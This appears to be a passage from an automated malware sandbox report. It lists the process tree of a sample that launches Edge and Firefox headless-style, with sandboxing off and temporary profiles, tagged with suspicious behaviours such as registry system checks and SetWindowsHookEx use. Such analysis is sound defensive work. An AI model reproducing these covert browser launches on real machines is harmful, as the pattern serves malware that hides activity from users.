      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3644,i,2297803569538518478,1286418456272383394,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:1
      4⤵
      PID:4840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3656,i,16388442595770712289,17166702501458458769,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:2
      4⤵
      PID:3004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3676,i,13758045643703957331,18330656849653888524,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:1
      4⤵
      PID:364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3732,i,284730127629942281,4778795986187547971,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3800 /prefetch:2
      4⤵
      PID:5332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3836,i,4237685070750277784,16829366140292361907,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
      4⤵
      PID:5008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3856,i,12691892966047085919,4240814639226314944,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:2
      4⤵
      PID:5208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3844,i,2394190499336535848,13090589296644867060,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:1
      4⤵
      PID:3056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3932,i,12855468968603771303,2475093937780946029,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:2
      4⤵
      PID:4732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3964,i,7072255525900922483,4207324010611838024,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:1
      4⤵
      PID:5128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4004,i,9401853091667865739,11933041932756978309,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:2
      4⤵
      PID:436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,9410487864586285137,14241821435930397348,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:8
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,7540329715023923576,11887350155151793578,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:8
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,3293262297742131189,8115576218271474879,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:8
      4⤵
      PID:2232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:4740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x260,0x7ff9691cc188,0x7ff9691cc194,0x7ff9691cc1a0
      4⤵
      PID:1648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1736,i,1986065097857560972,7708024806452949744,262144 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
      4⤵
      PID:1500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1912,i,10146138683789872039,3298401678943349341,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3
      4⤵
      System Time Discovery
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2348,i,13983191692945344027,11849314982213718916,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:8
      4⤵
      PID:6044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3056,i,14366569634867127903,11311964345013806457,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:1
      4⤵
      PID:2420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3060,i,16765968754080572929,17070837942459318880,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
      4⤵
      PID:1232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3512,i,14662462819598238054,16133013851804594478,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:8
      4⤵
      PID:3172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3516,i,531451456856275481,15065084434672229245,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:8
      4⤵
      PID:6060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,5096260901208374959,9339755792471112654,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:8
      4⤵
      PID:2860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3640,i,2354268350720721459,13477577250383221328,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
      4⤵
      PID:1544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3716,i,5405456927625760933,13205761354655902929,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:2
      4⤵
      PID:3684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3020,i,10933615149003020245,17605932952123067790,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
      4⤵
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3792,i,4301842478227794273,10923409195228143450,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:2
      4⤵
      PID:2968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3824,i,12992359279348843705,12387546678476017190,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:1
      4⤵
      PID:724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3836,i,4297904492569619318,10905220406031914372,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:2
      4⤵
      PID:2012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3880,i,10553256034443795707,4978376465179592556,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:1
      4⤵
      PID:5788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3904,i,11435329320266550100,5414272127170548678,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:2
      4⤵
      PID:1352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3928,i,11782648322456498768,16138027361171651975,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:1
      4⤵
      PID:5680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3924,i,1581948244715472573,16402965591743930822,2097152 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:2
      4⤵
      PID:5024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4248,i,3957902699544010686,62271056313665160,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:8
      4⤵
      PID:216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4200,i,537013755777672307,13222184438049540990,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:8
      4⤵
      PID:5992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,13728111710572371696,16842824708898833498,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:8
      4⤵
      PID:5992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zpcrt4uz.f2t" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5300,i,10500071773948920202,11429393668445949295,524288 --field-trial-handle=2240,i,11521252557738278425,1150120196748387294,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:8
      4⤵
      PID:3436
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\4x5mu1ui.55n"
    3⤵
    PID:2336
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\4x5mu1ui.55n
      4⤵
      Checks processor information in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:6080
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1984 -prefsLen 27099 -prefMapHandle 1988 -prefMapSize 270331 -ipcHandle 2076 -initialChannelId {e02d1ca1-5465-4282-a2bd-e9971e064f7c} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:1948
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2324 -prefsLen 27135 -prefMapHandle 2336 -prefMapSize 270331 -ipcHandle 2072 -initialChannelId {01977766-898c-49a3-85f5-74c7f42578c2} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:4256
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d70484db-56a8-4f06-842c-7b262ae8f72f.dmp"
        5⤵
        
        PID:5180
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2076 -prefsLen 27135 -prefMapHandle 2724 -prefMapSize 270331 -ipcHandle 2720 -initialChannelId {f918089f-6392-4231-b4e8-1b364ff87672} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:2112
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2402a340-48ac-41ed-964d-9134393df49f.dmp"
        5⤵
        
        PID:3344
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3008 -prefsLen 27135 -prefMapHandle 2720 -prefMapSize 270331 -ipcHandle 2984 -initialChannelId {2255b603-9876-44fd-8020-ffe564804bd5} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:4144
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\6364ff0c-0413-4f86-aeaa-91238c566d52.dmp"
        5⤵
        
        PID:2912
